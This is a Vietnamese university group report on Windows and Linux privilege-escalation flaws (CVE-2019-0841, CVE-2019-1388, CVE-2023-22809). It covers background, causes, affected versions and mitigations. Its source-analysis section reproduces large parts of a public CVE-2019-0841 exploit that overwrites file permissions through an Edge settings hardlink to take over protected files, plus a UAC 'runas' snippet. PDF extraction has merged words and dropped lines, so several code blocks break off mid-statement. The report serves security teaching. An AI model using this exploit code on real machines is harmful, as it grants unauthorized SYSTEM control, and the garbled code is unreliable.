Leo thang đặcquyền là một kỹ thuật mà kẻ tấn công sử dụng để chiếm đoạt quyền truy cập caohơn trong một hệ thống máy tính, thường từ quyền người dùng thông thường lênquyền quản trị viên
Trang 1BAN CƠ YẾU CHÍNH PHỦ
Nhóm sinh viên thực hiện – Nhóm 12:
Lê Văn Trọng – AT180446 Phạm Văn Khanh – AT180124 Cấn Thái Dương – AT180114
Nguyễn Việt Anh – AT180105 Nguyễn Đức Thắng - AT170445
Giảng viên hướng dẫn:
TS Nguyễn Mạnh Thắng
Khoa An toàn thông tin – Học viện Kỹ thuật mật mã
Hà Nội, 2024
Trang 2MỤC LỤC
MỤC LỤC
MỤC LỤC HÌNH ẢNH
LỜI NÓI ĐẦU
Chương I: Cơ sở lý thuyết
1.1 Tổng quan về leo thang đặc quyền
1.1.1 Khãi niệm leo thang đặc quyền
1.1.2 Các loại leo thang đặc quyền
1.1.3 Cơ chế hoạt động của leo thang đặc quyền
1.1.4 Ngăn chặn cuộc tấn công leo thang đặc quyền
1.2 Windows AppX Deployment Service trên Windows
1.3 Windows Certificate Dialog và User Account Control trên Windows
1.4 Sudo và sudoedit trong hệ điều hành Linux
Chương II Giới thiệu về CVE 2019-0841, CVE 2019-1388 và CVE 2023-22809
2.1 CVE 2019-0841
2.1.1 Mô tả
2.1.2 Nguyên nhân xảy ra
2.1.3 Các phiên bản bị ảnh hưởng
2.1.4 Phân tích mã nguồn
2.1.5 Tác động của lỗ hổng đối với hệ thống
2.1.6 Giải pháp ngăn chặn
2.2 CVE 2019-1388
2.2.1 Mô tả
2.2.2 Nguyên nhân xảy ra
2.2.3 Các phiên bản bị ảnh hưởng
2.2.4 Phân tích mã nguồn
2.2.5 Tác động của lỗ hổng đối với hệ thống
2.2.6 Giải pháp ngăn chặn
2.3 CVE 2023-22809
2.3.1 Mô tả
2.3.2 Nguyên nhân xảy ra
2.3.3 Các phiên bản bị ảnh hưởng
2.3.4 Phân tích mã nguồn
2.3.5 Tác động của lỗ hổng đối với hệ thống
2.3.6 Giải pháp ngăn chặn
Chương III Triển khai thực nghiệm
3.1 Triển khai thực nghiệm CVE 2019-0841
3.2 Triển khai thực nghiệm CVE 2019-1388
3.3 Triển khai thực nghiệm CVE 2023-22809
Trang 3MỤC LỤC HÌNH ẢNH
Hình 1.1: Tấn công leo thang đặc quyền 5
Hình 1.2: Các loại leo thang đặc quyền 6
Hình 3.1: Thực nghiệm CVE 2019-0841 36
Hình 3.2: Thực nghiệm CVE 2019-0841 37
Hình 3.3: Thực nghiệm CVE 2019-0841 37
Hình 3.4: Thực nghiệm CVE 2019-0841 38
Hình 3.5: Thực nghiệm CVE 2019-1388 38
Hình 3.6: Thực nghiệm CVE 2019-1388 39
Hình 3.7: Thực nghiệm CVE 2019-1388 40
Hình 3.8: Thực nghiệm CVE 2019-1388 40
Hình 3.8: Thực nghiệm CVE 2019-1388 41
Hình 3.9: Thực nghiệm CVE 2019-1388 41
Hình 3.10: Thực nghiệm CVE 2019-1388 42
Hình 3.11: Thực nghiệm CVE 2023-22809 43
Hình 3.12: Thực nghiệm CVE 2023-22809 43
Hình 3.13: Thực nghiệm CVE 2023-22809 44
Hình 3.14: Thực nghiệm CVE 2023-22809 44
Hình 3.15: Thực nghiệm CVE 2023-22809 44
Hình 3.16: Thực nghiệm CVE 2023-22809 45
Hình 3.17: Thực nghiệm CVE 2023-22809 46
Hình 3.18: Thực nghiệm CVE 2023-22809 46
Trang 4LỜI NÓI ĐẦU
Trong lĩnh vực bảo mật thông tin, việc bảo vệ hệ thống khỏi các cuộc tấncông leo thang đặc quyền luôn là một trong những ưu tiên hàng đầu Leo thang đặcquyền là một kỹ thuật mà kẻ tấn công sử dụng để chiếm đoạt quyền truy cập caohơn trong một hệ thống máy tính, thường từ quyền người dùng thông thường lênquyền quản trị viên (administrator) hoặc cao hơn nữa Trong môi trường Windowshay Linux, nơi mà các hệ điều hành được sử dụng rộng rãi, đặc biệt trong các tổchức, doanh nghiệp lớn, việc khai thác các lỗ hổng leo thang đặc quyền có thể dẫnđến hậu quả nghiêm trọng, như mất mát dữ liệu, rò rỉ thông tin nhạy cảm, hoặcthậm chí là kiểm soát toàn bộ hệ thống
Một trong những lý do khiến các lỗ hổng leo thang đặc quyền trở nên nguyhiểm chính là sự tồn tại của những lỗ hổng trong các thành phần cốt lõi của hệ điềuhành, chẳng hạn như trong cơ chế phân quyền người dùng, dịch vụ hệ thống, hoặccác ứng dụng được cài đặt sẵn Các lỗ hổng này cho phép kẻ tấn công vượt quanhững cơ chế bảo vệ và thực hiện các hành động mà lẽ ra họ không có quyền thựchiện, như sửa đổi cấu hình hệ thống, thay đổi mật khẩu người dùng hoặc cài đặtphần mềm độc hại
Các lỗ hổng leo thang đặc quyền đặc biệt nguy hiểm vì chúng có thể đượckhai thác mà không cần có sự tương tác của người dùng cuối, hoặc chỉ cần một sốthao tác rất đơn giản từ phía kẻ tấn công Điều này khiến cho việc phát hiện vàngăn chặn các cuộc tấn công trở nên khó khăn và phức tạp hơn Các cuộc tấn côngnày có thể bắt đầu từ việc khai thác các lỗ hổng bảo mật trong các dịch vụ hệthống, như Windows AppX Deployment Service, Windows Certificate Dialog haytính năng sudoedit để từ đó mở rộng quyền truy cập lên các tài nguyên quan trọngtrong hệ thống
Đề tài này sẽ tập trung vào việc nghiên cứu và khai thác các lỗ hổng leo thangđặc quyền trong hệ điều hành Windows hay Linux, cụ thể là các lỗ hổng CVE2019-0841, CVE 2019-1388 và CVE 2023-22809, những lỗ hổng đã được pháthiện và cảnh báo rộng rãi trong cộng đồng bảo mật Báo cáo sẽ phân tích các đặcđiểm kỹ thuật của những lỗ hổng này, nguyên nhân gây ra chúng, tác động củachúng đối với hệ thống và phương pháp khắc phục hiệu quả Bên cạnh đó, báo cáocũng sẽ trình bày các phương thức phòng ngừa và bảo vệ hệ thống khỏi các cuộc
Trang 5Chương 1: Cơ sở lý thuyết
1.1 Tổng quan về leo thang đặc quyền
1.1.1 Khái niệm leo thang đặc quyền
Hình 1.1: Tấn công leo thang đặc quyền
Leo thang đặc quyền (Escalating Privilege): là một cách thức phổ biến để tintặc có thể truy cập trái phép vào một hệ thống được bảo vệ Những kẻ tấn côngthường tìm một điểm yếu trong hệ thống phòng thủ của tổ chức và khai thác điểmyếu này để giành quyền truy cập vào hệ thống Trong đa số các trường hợp, điểmxâm nhập đầu tiên sẽ không cung cấp cho tin tặc mức độ truy cập hay dữ liệu mà
họ cần Sau đó, họ cố gắng khai thác những lỗ hổng trong hệ thống hoặc sử dụngnhững công cụ cụ thể để vượt qua cơ chế cấp phép của hệ thống và giành lấy mứctruy cập cao hơn, vượt quá những gì được dự định hoặc được hưởng đối với ngườidùng sau đó thu thập những dữ liệu nhạy cảm, bảo mật
Kẻ tấn công hiện sử dụng các đặc quyền kiếm được để đánh cắp dữ liệu bí mật
và triển khai phần mềm độc hại với mục đích làm hỏng hệ điều hành, các ứng dụngmáy chủ và cuối cùng là danh tiếng của một tổ chức Loại tấn công vào dữ liệu tổchức này có thể được thực hiện ngay cả bởi một tin tặc không tinh vi để đạt đượccác đặc quyền ngày càng tăng, lý do là hầu hết các tổ chức kinh doanh không sửdụng đủ các biện pháp bảo mật và kiểm soát
Trang 61.1.2 Các loại leo thang đặc quyền
Hình 1.2: Các loại leo thang đặc quyền
Có hai loại tấn công leo thang đặc quyền chính mà tác nhân đe dọa sử dụng:theo chiều dọc và theo chiều ngang Mặc dù cả hai loại đều liên quan đến việc kẻtấn công cố gắng truy cập trái phép vào tài nguyên hoặc thực hiện các hành độngđộc hại, cách thức thực hiện cuộc tấn công có thể liên quan đến các phương pháptiếp cận khác nhau
1.1.2.1 Leo thang đặc quyền theo chiều ngang (Horizontal privilege escalation)
Trong các cuộc tấn công leo thang đặc quyền theo chiều ngang, kẻ tấn côngmuốn giành quyền truy cập vào các tài nguyên hoặc khả năng ở cùng cấp độ đặcquyền như tài khoản hiện tại của họ nhưng ban đầu không được cấp cho họ.
Mục tiêu là truy cập dữ liệu, tài nguyên hoặc chức năng bị hạn chế củangười dùng khác mà không làm tăng cấp độ đặc quyền của kẻ tấn công Các kỹthuật phổ biến để leo thang đặc quyền theo chiều ngang bao gồm:
- Tấn công mật khẩu: Kẻ tấn công có thể sử dụng các kỹ thuật như đoánmật khẩu, tấn công bằng cách dùng vũ lực hoặc ghi lại phím để truy cậptrái phép vào tài khoản của người dùng khác có cùng cấp độ đặc quyền
- Chiếm quyền phiên: Kẻ tấn công có thể chặn, điều khiển hoặc chiếm
Trang 7- Khai thác lỗ hổng ứng dụng: Kẻ tấn công có thể khai thác lỗ hổng tronglogic ứng dụng, xác thực hoặc cơ chế kiểm soát truy cập để truy cập vàocác tài nguyên hoặc chức năng vốn chỉ dành riêng cho người dùng khác.
- Truyền hàm băm: Kẻ tấn công lấy hàm băm mật khẩu và truyền nó để xácthực và truy cập ngang vào các hệ thống mạng khác
- Tấn công Silver Ticket và Golden Ticket: Tấn công Golden Ticket từ bỏquyền kiểm soát hoàn toàn đối với Active Directory (AD) Ngoài ra, sửdụng silver ticket, kẻ tấn công có thể tạo nhiều ticket-granting service(TGS) cho một dịch vụ cụ thể mà không cần giao tiếp với bộ điều khiểnmiền (DC) trên mạng
1.1.2.2 Leo thang đặc quyền theo chiều dọc (Vertical privilege escalation)
Trong các cuộc tấn công leo thang đặc quyền theo chiều dọc, kẻ tấn công sẽ
cố gắng nâng quyền truy cập của mình từ cấp thấp hơn lên cấp cao hơn, chẳng hạnnhư chuyển từ tài khoản người dùng chuẩn lên tài khoản quản trị viên hoặc tàikhoản cấp hệ thống.
Kiểu tấn công này cho phép kẻ tấn công kiểm soát hệ thống nhiều hơn, truycập các tài nguyên bị hạn chế và thực hiện các hành động không thể thực hiệnđược với cấp độ truy cập ban đầu của chúng Các kỹ thuật phổ biến để leo thangđặc quyền theo chiều dọc bao gồm:
- Khai thác lỗ hổng phần mềm: Kẻ tấn công có thể lợi dụng lỗ hổng phầnmềm hoặc hệ điều hành chưa được vá để nâng cao đặc quyền của mình
- Cấu hình sai: Hệ thống, dịch vụ hoặc quyền tệp được cấu hình kém có thểtạo cơ hội cho kẻ tấn công nâng cao đặc quyền
- Kỹ thuật xã hội: Kẻ tấn công có thể lừa người dùng cung cấp thông tinxác thực đặc quyền hoặc thực hiện các hành động dẫn đến việc leo thangđặc quyền
1.1.3 Cơ chế hoạt động của leo thang đặc quyền
Các cuộc tấn công leo thang đặc quyền, dù theo chiều ngang hay chiều dọc,thường xoay quanh việc khai thác lỗ hổng liên quan đến quản lý đặc quyền, chẳnghạn như khai thác các lỗ hổng trong phần mềm, hay các lỗi hệ thống hoặc là lợidụng cấu hình sai, v.v
Tất cả các tài khoản tương tác với hệ thống đều có một mức đặc quyền nhấtđịnh, bất kể chủ tài khoản có biết hay không Người dùng thông thường thường bịhạn chế quyền truy cập vào cơ sở dữ liệu hệ thống, tệp nhạy cảm hoặc các nguồn
Trang 8thông tin có giá trị khác Đây là lý do tại sao họ thậm chí có thể không nhận thứcđược những hạn chế về đặc quyền của mình – không giống như những tác nhânđộc hại, họ không cần phải truy cập thông tin vượt quá phạm vi được chỉ định.
Để hiểu rõ hơn về việc leo thang đặc quyền, điều quan trọng là phải nhận ranăm kỹ thuật chính mà kẻ tấn công sử dụng để có được quyền hoặc quyền truy cậpcao hơn: khai thác thông tin xác thực (ví dụ: sử dụng mật khẩu yếu), lỗ hổng vàkhai thác hệ thống, cấu hình sai, phần mềm độc hại và kỹ thuật xã hội
Bằng cách sử dụng một hoặc nhiều phương pháp này, những kẻ tấn công cóthể xâm nhập vào hệ thống Sau khi có được quyền truy cập, chúng sẽ quan sát môitrường, chờ thời điểm thích hợp để bắt đầu hành động tiếp theo—tăng đặc quyềncho các tài khoản có nhiều quyền hơn so với tài khoản bị xâm phạm ban đầu Tùythuộc vào mục tiêu của mình, kẻ tấn công có thể tiếp tục tăng đặc quyền để kiểmsoát tài khoản quản trị viên hoặc tài khoản gốc hoặc duy trì chuyển động ngangcho đến khi cuối cùng chúng thống trị toàn bộ môi trường
1.1.4 Ngăn chặn cuộc tấn công leo thang đặc quyền
Trong an ninh mạng, việc ngăn chặn tấn công mạng hiệu quả luôn tốt hơn là
có một kế hoạch phục hồi thảm họa hợp lý Sau đây là một số biện pháp cơ bảnnhất được sử dụng để ngăn chặn các cuộc tấn công leo thang đặc quyền:
- Vá hệ thống thường xuyên: Điều quan trọng là phải có chiến lược quản lý
bản vá Việc duy trì các hệ thống với các bản vá mới nhất có thể làm giảm khảnăng các tác nhân đe dọa sử dụng các lỗ hổng bảo mật đã biết trong các chươngtrình phần mềm hoặc hệ điều hành để tấn công
- Phương pháp xác thực mạnh: Triển khai xác thực hai yếu tố (2FA)
hoặc xác thực đa yếu tố (MFA) để ngăn chặn hành vi trộm cắp thông tin đăng nhập
và khiến kẻ xấu khó có thể truy cập trái phép
- Giám sát hoạt động của người dùng: Giám sát hoạt động của người dùng
để phát hiện hành vi đáng ngờ có thể chỉ ra rằng tài khoản được cấp đặc quyền đã
bị xâm phạm Phát hiện hành vi leo thang đặc quyền bao gồm việc theo dõi nhữngthay đổi đột ngột trong các mẫu hành vi của người dùng hoặc các hoạt động bấtthường của quản trị viên hệ thống
- Chính sách bảo mật mật khẩu mạnh: Đảm bảo có chính sách mật khẩu
yêu cầu người dùng tạo mật khẩu phức tạp, an toàn và được cập nhật thườngxuyên Điều này đặc biệt hữu ích trong các tổ chức lớn
Trang 9của họ Điều này làm giảm thiệt hại tiềm ẩn nếu kẻ tấn công xâm phạm tài khoảncủa người dùng.
- Kiểm soát truy cập Sudo: Trong môi trường Linux, kiểm soát truy cập
sudo có thể giúp ngăn ngừa các sự cố leo thang đặc quyền Linux Quản lý đúngquyền sudo, bao gồm việc thường xuyên xem xét ai có quyền và lệnh nào họ đượcphép thực hiện với quyền cao hơn, giúp ngăn chặn mối đe dọa này
1.2 Windows AppX Deployment Service trên Windows
1.2.1 Tổng quan
Windows AppX Deployment Service (AppXSVC) là một dịch vụ quan trọngtrong hệ điều hành Windows, được sử dụng để triển khai, quản lý và duy trì cácứng dụng UWP (Universal Windows Platform) Những ứng dụng này thường đượctải về từ Microsoft Store hoặc cài đặt bằng tệp AppX hoặc AppXBundle
1.2.2 Chức năng chính của AppXSVC
AppXSVC chịu trách nhiệm cho các nhiệm vụ sau:
- Triển khai ứng dụng UWP:
o Khi người dùng tải về hoặc cài đặt một ứng dụng UWP, AppXSVC sẽgiải nén và cài đặt các thành phần của ứng dụng vào hệ thống
o Quản lý các tệp cấu hình, quyền truy cập và các thư viện cần thiết để ứng dụng hoạt động
- Quản lý quyền truy cập tệp (File Permissions):
o AppXSVC quản lý quyền truy cập các tệp của ứng dụng, đảm bảo rằng các tệp chỉ có thể được truy cập bởi người hoặc tiến trình có quyền
1.2.3 Vai trò trong hệ thống Windows
AppXSVC giúp duy trì tính ổn định và bảo mật của hệ thống Windows bằngcách:
Trang 10- Cách ly các ứng dụng UWP khỏi các phần còn lại của hệ thống thông qua các container bảo mật (AppContainer).
- Quản lý quyền của ứng dụng để đảm bảo chúng không truy cập hoặc chỉnh sửa dữ liệu trái phép
1.3 Windows Certificate Dialog và User Account Control trên Windows
1.3.1 Windows Certificate Dialog
Windows Certificate Dialog (Hộp thoại chứng chỉ Windows) là giao diệnngười dùng xuất hiện trên hệ điều hành Windows để quản lý, xem hoặc xác nhậnchứng chỉ số được sử dụng trong các hoạt động liên quan đến bảo mật Chứng chỉ
số là các tệp dữ liệu số, được sử dụng để xác thực danh tính của một thực thể (nhưngười dùng, tổ chức, hoặc máy tính) và để mã hóa thông tin liên lạc
Windows Certificate Dialog là công cụ trong Windows dùng để quản lý vàxác thực chứng chỉ số, hỗ trợ nhiều chức năng bảo mật quan trọng Nó cho phépngười dùng xác thực danh tính của các trang web, ứng dụng, hoặc email bằng cáchkiểm tra chứng chỉ số, đảm bảo chúng được cấp bởi một tổ chức đáng tin cậy.Công cụ này hiển thị chi tiết thông tin chứng chỉ, như tên tổ chức, đối tượng sửdụng, thời gian hiệu lực, và thuật toán mã hóa Khi gặp chứng chỉ không hợp lệ,hết hạn, hoặc không đáng tin cậy, Windows Certificate Dialog cung cấp cảnh báo
để người dùng quyết định tiếp tục hoặc hủy kết nối Ngoài ra, nó cho phép ngườidùng thêm, xóa, hoặc quản lý chứng chỉ lưu trữ trong các kho như Trusted RootCertification Authorities hoặc Personal Những chức năng này góp phần tăngcường bảo mật trong các hoạt động như duyệt web an toàn, ký số tài liệu, hoặc mãhóa dữ liệu
1.3.2 User Account Control
UAC (User Account Control) là một tính năng bảo mật trong hệ điều hànhWindows, được giới thiệu lần đầu tiên trong Windows Vista và hiện vẫn có mặttrong các phiên bản Windows mới UAC giúp ngăn ngừa các chương trình độc hại
và các thay đổi trái phép trong hệ thống bằng cách yêu cầu người dùng xác nhậnhoặc cung cấp quyền quản trị khi một ứng dụng hoặc chương trình yêu cầu thayđổi quan trọng
Chức năng chính của UAC (User Account Control) là bảo vệ hệ thống máy
Trang 11cầu sự xác nhận hoặc quyền quản trị từ người dùng trước khi thực hiện các thao tác
có thể ảnh hưởng đến hệ thống Các chức năng chính của UAC bao gồm:
- Ngăn ngừa thay đổi trái phép: UAC giúp ngăn chặn các chương trình khôngxác định hoặc các phần mềm độc hại thay đổi các cài đặt hệ thống hoặc tệpquan trọng mà không có sự cho phép của người dùng hoặc quản trị viên
- Bảo vệ quyền riêng tư và dữ liệu: Khi một ứng dụng yêu cầu quyền truy cậpvào các tài nguyên hệ thống hoặc dữ liệu nhạy cảm, UAC yêu cầu ngườidùng xác nhận, giúp bảo vệ dữ liệu cá nhân khỏi các hành động trái phép
- Tăng cường bảo mật hệ thống: UAC giúp giảm thiểu nguy cơ phần mềmđộc hại chiếm quyền điều khiển hệ thống bằng cách hạn chế quyền của cácứng dụng khi không có sự cho phép của người dùng
- Thông báo khi có thay đổi hệ thống: UAC cảnh báo người dùng khi có mộtthay đổi sắp được thực hiện (ví dụ: cài đặt phần mềm hoặc thay đổi các càiđặt hệ thống), giúp người dùng quyết định có cho phép thay đổi haykhông
- Phân quyền rõ ràng giữa người dùng và quản trị viên: UAC giúp phân biệtgiữa các tài khoản người dùng và tài khoản quản trị viên, yêu cầu sự xácnhận của người quản trị khi thực hiện các hành động quan trọng
1.4 Sudo và sudoedit trong hệ điều hành Linux
1.4.1 Sudo
Sudo là viết tắt của Superuser do, và nó là một chương trình được sử dụngtrên Linux cho phép người dùng với quyền hạn phù hợp thực thi các lệnh hoặchành động của một người dùng khác, thường là root Do đó, nó có thể được sửdụng để cấp quyền cho người dùng chạy một chương trình hoặc lệnh cụ thể màkhông cần cấp cho họ quyền truy cập cấp cao, chẳng hạn như quyền root
Cách hoạt động của sudo: Khi một người dùng cố gắng thực thi lệnh sudo,chương trình sẽ kiểm tra và xác minh quyền hạn của người dùng trong tệp/etc/sudoers, tệp cấu hình chứa danh sách người dùng và quyền của họ Tệp nàyđược sử dụng để xác định những người dùng nào được phép chạy các lệnh cụ thểvới quyền của người dùng khác (thường là root), tùy thuộc vào các cấu hình đãđược thiết lập Nếu người dùng được phép chạy lệnh với sudo, họ sẽ được yêu cầunhập mật khẩu của mình để xác nhận danh tính trước khi lệnh được thực thi vớiquyền nâng cao Một cách khác là nếu người dùng được liệt kê trong tệp sudoersvới tùy chọn NOPASSWD, người dùng có thể chạy một lệnh hoặc tất cả các lệnhvới quyền root mà không cần xác nhận mật khẩu
Trang 121.4.2 Sudoedit
Sudoedit là một tiện ích con trong bộ công cụ sudo trên hệ điều hành Linux,được thiết kế để cho phép người dùng chỉnh sửa các tệp hệ thống quan trọng màkhông cần phải mở chúng trực tiếp với quyền root Mục đích của sudoedit là giảmthiểu nguy cơ khi chỉnh sửa các tệp hệ thống, bởi vì việc chỉnh sửa trực tiếp dướiquyền root có thể dẫn đến các lỗi nghiêm trọng, đặc biệt khi người dùng không cẩnthận
Khi sử dụng sudoedit, tệp cần chỉnh sửa sẽ được sao chép vào một thư mụctạm thời (chẳng hạn như /tmp), và sau đó mở ra trong một trình soạn thảo văn bản
mà người dùng đã cấu hình thông qua biến môi trường EDITOR (ví dụ nano, vi,vim, ) Người dùng chỉ có thể chỉnh sửa bản sao tạm thời của tệp, giúp hạn chếcác sai sót có thể gây ảnh hưởng đến tệp hệ thống gốc
Sau khi chỉnh sửa xong, sudoedit sẽ sao chép tệp đã chỉnh sửa trở lại vị trí banđầu và thay thế tệp cũ Cách tiếp cận này giúp bảo vệ hệ thống khỏi các thay đổisai sót và cung cấp một cách an toàn để quản trị viên hệ thống có thể chỉnh sửa cáctệp quan trọng mà không cần phải thao tác trực tiếp với quyền root
Trang 13Chương 2 Giới thiệu về CVE 2019-0841, CVE 2019-1388 và
2.1.2 Nguyên nhân xảy ra
Nguyên nhân chính của lỗ hổng này là do hệ điều hành Windows không xácminh chính xác quyền truy cập trong quá trình xử lý các liên kết cứng của tệp.Điều này dẫn đến việc kẻ tấn công có thể thay đổi dữ liệu thuộc về các tài khoản cóquyền cao hơn, như SYSTEM
2.1.3 Các phiên bản bị ảnh hưởng
Lỗ hổng này ảnh hưởng đến các phiên bản sau của Microsoft Windows:
- Windows 10 (Phiên bản 1809 và trước đó)
- Windows Server 2019
2.1.4 Phân tích mã nguồn
2.1.4.1 Kiểm tra quyền trên tệp (CheckFilePermissions)
Mô tả: Kiểm tra xem người dùng hiện tại có quyền sửa đổi hoặc kiểmsoát toàn bộ tệp hay không
Đầu vào: Đường dẫn tệp cần kiểm tra
Đầu ra:
o true: Người dùng có quyền Full Control.
o false: Người dùng không có quyền hoặc gặp lỗi khác
bool CheckFilePermissions(_TCHAR* target) {
_tprintf(_T("[+] Checking File privileges of %s\n"), target);
FILE *fp = _wfopen(target, TEXT("a"));
if (fp == NULL) {
if (errno == EACCES) {
Trang 14std::cerr << "[+] You don't have 'Modify/Write' privileges on this file " << std::endl;
return false;
}else {
std::cerr << "[+] Something went wrong: " << strerror(errno) <<std::endl;
return false;
}}
2.1.4.2 Tạo hardlink native (CreateNativeHardlink)
Mô tả: Tạo liên kết cứng giữa hai tệp sử dụng API cấp thấpZwSetInformationFile
Đầu vào:
o linkname: Tên liên kết
o targetname: Tên tệp mục tiêu
Đầu ra:
o true: Tạo liên kết thành công
o false: Lỗi trong quá trình thực thi.
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname)
{
std::wstring full_linkname = BuildFullPath(linkname, true);
size_t len = full_linkname.size() * sizeof(WCHAR);
Trang 15typed_buffer_ptr<FILE_LINK_INFORMATION>
link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));
memcpy(&link_info->FileName[0], full_linkname.c_str(), len);
link_info->ReplaceIfExists = TRUE;
link_info->FileNameLength = len;
std::wstring full_targetname = BuildFullPath(targetname, true);
HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr,
return true;
}SetNtLastError(status);
Chức năng liên quan:
o CreateToolhelp32Snapshot: Chụp ảnh danh sách tiến trình
o TerminateProcess: Kết thúc tiến trình
Trang 16bool IsProcessRunning(const wchar_t* processName) {
bool exists = false;
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
Trang 17TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
2.1.4.4 Kiểm tra tệp có tồn tại (FileExists)
Mô tả: Xác định xem tệp có tồn tại trong hệ thống hay không
Đầu vào: Đường dẫn tệp
Đầu ra:
o true: Tệp tồn tại.
o false: Tệp không tồn tại.
bool FileExists(const wchar_t* file) {
if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) &&
o Kiểm tra quyền truy cập vào tệp mục tiêu.
o Kết thúc tiến trình Microsoft Edge nếu đang chạy.
o Tạo liên kết cứng từ tệp cấu hình của Edge (settings.dat) đến tệp
mục tiêu
Trang 18o Khởi động lại Microsoft Edge để kích hoạt quyền truy cập mới trên
printf("[!] Microsoft Edge is running :(\n");
printf("[!] File is in use by NT AUTHORITY\\SYSTEM \n");printf("[!] Killing Microsoft Edge ");
killProcessByName(L"MicrosoftEdge.exe");
printf("DONE\n");
printf("[+] Retrying \n");
}}
else {
printf("[+] Microsoft Edge is not running :)\n");
Trang 19void gimmeroot(_TCHAR* targetpath, bool hijack) {
wchar_t *userprofile = _wgetenv(L"USERPROFILE");
wchar_t *relpath = (L"\\AppData\\Local\\Packages\\
Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat"); //MS Edge Settings file location
printf("[+] Starting up Microsoft Edge to force reset \n");
try {
system("start microsoft-edge:");
}catch ( ) {}
Sleep(3000);
printf("[!] Killing Microsoft Edge again \n");
Trang 20_tprintf(_T("[+] Checking File privileges again \n"));
if (!CheckFilePermissions(targetpath)) {
printf("[!] File Takeover Failed! \n");
printf("[!] File might be in use by another process or NT AUTHORITY\\SYSTEM does not have 'Full Control' permissions on the file! \n");
printf("[!] Try another file \n");
}}
printf("# Privileged DACL Overwrite EoP\n");
printf("# CVE: CVE-2019-0841\n");
printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n");
printf("# Tested on: Microsoft Windows 10 x32 & x64\n");
printf("# Category: Local\n");
printf(" -\n");
printf("[+] Usage: exploit.exe <path to file to takeover>\n");
printf("[+] (E.g., exploit.exe C:\\Windows\\win.ini\n");
printf(" -\n");
}
Trang 21if (argc < 3) {
printf("# Privileged DACL Overwrite EoP\n");
printf("# CVE: CVE-2019-0841\n");
printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n");
printf("# Tested on: Microsoft Windows 10 x32 & x64\n");
printf("# Category: Local\n");
printf(" -\n");printf("\n");
printf("\n");
gimmeroot(argv[1],false);
}}
catch ( ) {}
}
exit(0);
}
2.1.5 Tác động của lỗ hổng đối với hệ thống
Nếu khai thác thành công, kẻ tấn công có thể:
- Tăng đặc quyền từ tài khoản có quyền hạn thấp (non-admin) lên quyềnSYSTEM
- Cài đặt phần mềm độc hại, thay đổi hoặc xóa dữ liệu trên hệ thống
- Thực hiện các hành động như quản trị viên hợp pháp trên máy mục tiêu
2.1.6 Giải pháp ngăn chặn
- Cập nhật bản vá bảo mật: Microsoft đã phát hành bản vá cho lỗ hổng nàyvào ngày 9/4/2019 Người dùng nên cập nhật hệ điều hành qua WindowsUpdate
- Giới hạn quyền truy cập: Áp dụng nguyên tắc Least Privilege để giới hạnquyền truy cập của các tài khoản trên hệ thống
Trang 22- Giám sát hệ thống: Sử dụng các công cụ phát hiện xâm nhập (IDS) để theodõi và phát hiện các hoạt động bất thường liên quan đến quyền truy cập tệp.
- Phân tích log: Thường xuyên kiểm tra các nhật ký hệ thống để tìm kiếm dấuhiệu của việc khai thác hoặc thao tác quyền không hợp lệ
2.2 CVE 2019-1388
2.2.1 Mô tả
CVE-2019-1388 là một lỗ hổng bảo mật thuộc loại Elevation of Privilege(EoP) trên hệ điều hành Windows Lỗ hổng này cho phép kẻ tấn công cục bộ nângcao quyền hạn từ tài khoản người dùng tiêu chuẩn lên quyền quản trị viên thôngqua việc khai thác cơ chế User Account Control (UAC) bằng việc khai thácWindows Certificate Dialog
Cơ chế bị khai thác: Khi một ứng dụng có chứng chỉ hợp lệ yêu cầu quyềnquản trị qua hộp thoại UAC, thông tin về nguồn gốc của ứng dụng không đượchiển thị đầy đủ Điều này có thể làm người dùng hiểu nhầm rằng yêu cầu là hợppháp và nhấp vào "Yes", dẫn đến việc thực thi mã độc với quyền quản trị viên.Mức độ ảnh hưởng:
Ứng dụng mã độc có thể được thực thi với quyền cao nhất
Kẻ tấn công có thể cài đặt phần mềm độc hại, chỉnh sửa cấu hình hệ thống,hoặc xóa dữ liệu quan trọng
2.2.2 Nguyên nhân xảy ra
Nguyên nhân chính của lỗ hổng :
Xử lý thông tin nguồn gốc không đầy đủ trong UAC
- Hộp thoại UAC thường hiển thị thông tin nguồn gốc của ứng dụng (như nhàcung cấp hoặc đường dẫn URL)
- Trong một số trường hợp, UAC không hiển thị hoặc hiển thị sai thông tinnguồn gốc Người dùng không thể phân biệt giữa ứng dụng hợp pháp và mãđộc, dễ bị lừa để cấp quyền quản trị
Tin cậy mặc định vào ứng dụng có chứng chỉ ký số
- Các ứng dụng có chứng chỉ ký số được Windows coi là đáng tin cậy, giảmmức độ kiểm tra bảo mật
- Kẻ tấn công có thể lợi dụng một ứng dụng hợp lệ, ký số hợp pháp nhưng
Trang 23Thiết kế không chặt chẽ trong cơ chế "Run as administrator"
- Cơ chế "Run as administrator" cho phép một ứng dụng được nâng quyền quaUAC
- Hệ thống không kiểm soát chặt chẽ cách thức yêu cầu quyền, dẫn đến việccác ứng dụng độc hại có thể tự động kích hoạt hộp thoại UAC
Kẻ tấn công lợi dụng sự thiếu hiểu biết của người dung
- Người dùng thường nhấp "Yes" khi gặp hộp thoại UAC mà không kiểm trakỹ
- UAC không cung cấp đủ thông tin để giúp người dùng nhận ra mối nguyhiểm, tạo điều kiện cho kẻ tấn công lợi dụng
2.2.3 Các phiên bản bị ảnh hưởng
Lỗ hổng này ảnh hưởng đến các phiên bản sau của Microsoft Windows:
- Windows 10 (Phiên bản 1903 và trước đó)
const char* trustedInstallerPath = "C:\\Windows\\System32\\cmd.exe";
// Hiển thị thông báo cho người dùng
printf("[+] Khởi chạy ứng dụng với quyền admin thông qua UAC \n");
// Kích hoạt UAC với quyền quản trị viên
HINSTANCE result = ShellExecuteA(
NULL, // Handle cửa sổ hiện tại
"runas", // Yêu cầu nâng quyền
trustedInstallerPath, // Đường dẫn tới ứng dụng
Trang 24NULL, // Không truyền tham số
NULL, // Thư mục làm việc hiện tại
SW_SHOWNORMAL // Hiển thị cửa sổ ứng dụng
